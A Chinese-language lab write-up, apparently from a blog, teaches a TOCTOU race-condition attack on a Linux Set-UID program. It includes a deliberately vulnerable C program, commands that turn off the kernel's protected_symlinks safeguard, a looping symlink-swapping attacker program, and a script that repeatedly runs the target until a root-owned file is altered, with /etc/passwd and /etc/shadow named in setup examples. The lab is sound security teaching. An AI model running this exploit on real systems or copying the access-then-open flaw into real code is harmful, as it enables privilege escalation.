竞态条件漏洞实验

竞态条件漏洞实验

实验简介

竞态条件是指多个线程同时访问或者操作同一块数据,运行的结果依赖于不同线程访问数据的顺序。如果一个拥有root权限的程序存在竞态条件漏洞的话,攻击者可以通过运行一个平行线程与漏洞程序竞争,以此改变该程序的行为。
在本实验中学生将利用竞态条件漏洞获得root权限。除了攻击之外,我们还将学习如何制定保护方案抵御该类攻击。

实验内容

0.实验准备

在实验开始之前,我们需要先了解一些Linux中的操作。

软连接

Linux中可以使用软连接来使一个文件链接到另一个文件,链接的结果是,我们可以通过访问链接文件来访问原文件。我们也可以清除这种链接关系。在C程序中,我们可以使用系统调用来完成这些功能。

unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");

我们也可以直接使用ln -sf来实现这一功能,其本质实现就是上面的两行代码。

判断文件是否被修改

使用ls -l命令,我们可以获得一个文件的信息。通过比较文件在两个时间的信息是否相同,我们可以得知文件是否被修改过。

#!/bin/sh
old=`ls -l /etc/shadow`
new=`ls -l /etc/shadow`
while [ "$old" = "$new" ]
do
    new=`ls -l /etc/shadow`
done
echo "STOP... The shadow file has been changed"
Sticky位

如果用户对目录有写权限,则可以删除其中的文件和子目录,即使该用户不是这些文件的所有者,而且也没有读或写许可。粘着位出现执行许可的位置上,用t表示,设置了该位后,其它用户就不可以删除不属于他的文件和目录。但是该目录下的目录不继承该权限,要再设置才可使用。
实验环境开启了针对竞态条件攻击的保护,所以需要先关掉保护。该选项意味着全域可写sticky位开启的文件夹是不能作为链接目标所在文件夹的。

$ sudo su
# echo 0 > /proc/sys/fs/protected_symlinks
# exit

1.漏洞程序

本次实验中,我们的目的是利用竞争条件漏洞修改一个需要root权限才能修改的文件。竞争条件漏洞是一个非常常见的漏洞,下面我们来写一个带有明显的竞争条件漏洞的程序。

//vulp.c
#include <string.h>
#include <unistd.h>
#define DELAY 10000

int main()
{
        char * fn = "/tmp/XYZ";
        char buffer[60];
        FILE *fp;
        long int i;
        /* get user input */
        scanf("%50s", buffer );
        if(!access(fn, W_OK)){
                for(i=0; i < DELAY; i++){
                        int a = i^2;
                }
                fp = fopen(fn, "a+");
                fwrite("\n", sizeof(char), 1, fp);
                fwrite(buffer, sizeof(char), strlen(buffer), fp);
                fclose(fp);
        }
        else printf("No permission \n");
}

我们可以看到,中间的循环体不起到任何功能上的作用,但是会在可访问性检查和打开文件中制造空隙,这就是一个条件竞争漏洞。
我们把这个程序编译成带有root权限的Set-UID程序,作为本次攻击的目标程序。

2.重写所有者为root的文件

实验的重点时如何利用竞争条件漏洞来获得一个root文件的访问权限。换言之,我们既需要通过access的检查,有需要让文件拥有root权限。
如果我们在检查访问权限的时候给一个普通用户可以访问的文件,在打开时给一个root文件,我们的目标就可以达到了。因此,我们可以使用软连接来实现这一功能。在access时,我们把软连接指向一个普通文件,access结束到fopen的过程中将软连接重新指向希望修改的文件,这样就实现了我们想要的打开文件的功能。
我们将删除创建软连接的功能写成一个c程序。

//attacker.c
int main()
{
    while(1){
        system("ln -sf /home/shiyanlou/Code/shiyanlou_cs249/tmp_file /tmp/XYZ");
        system("ln -sf /home/shiyanlou/Code/shiyanlou_cs249/root_file /tmp/XYZ");
    }
    return 0;
}

我们还需要修改检查文件是否被修改的脚本,使之实现给root文件软如参数的功能。其中的append_text里保存给vulp的输入。

#!/bin/sh
old=`ls -l /home/shiyanlou/Code/shiyanlou_cs249/root_file`
new=`ls -l /home/shiyanlou/Code/shiyanlou_cs249/root_file`
while [ "$old" = "$new" ]
do
    ./vulp < append_text
    new=`ls -l /home/shiyanlou/Code/shiyanlou_cs249/root_file`
done
echo "STOP... The file has been changed"

我们需要首先运行attacker,再运行check.sh。如果我们先运行了check.sh,调用vulp后发现不存在/tmp/XYZ这个文件,就会以root权限创建这个文件,那么我们的攻击程序就不能对文件进行修改,导致攻击失败。

$ chmod u+x check.sh
$ ./attacker&
$ ./check.sh

稍等片刻,当出现STOP... The file has been changed时说明攻击成功。打开root_file,我们能看到在文件中存在我们添加进去的内容。

原理分析

操作系统进程调度的本质时时间片轮转,一个进程可能在任何时刻被调度,转而运行第二个程序。竞争条件漏洞就是因为这种调度出现的漏洞。当一个程序本应相连的两步被打断,切换到另一进程时,这个进程可能对原来进程需要的资源进行修改,导致原程序的执行发生错误。本次实验中修改的就是程序操作文件指向的对象。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值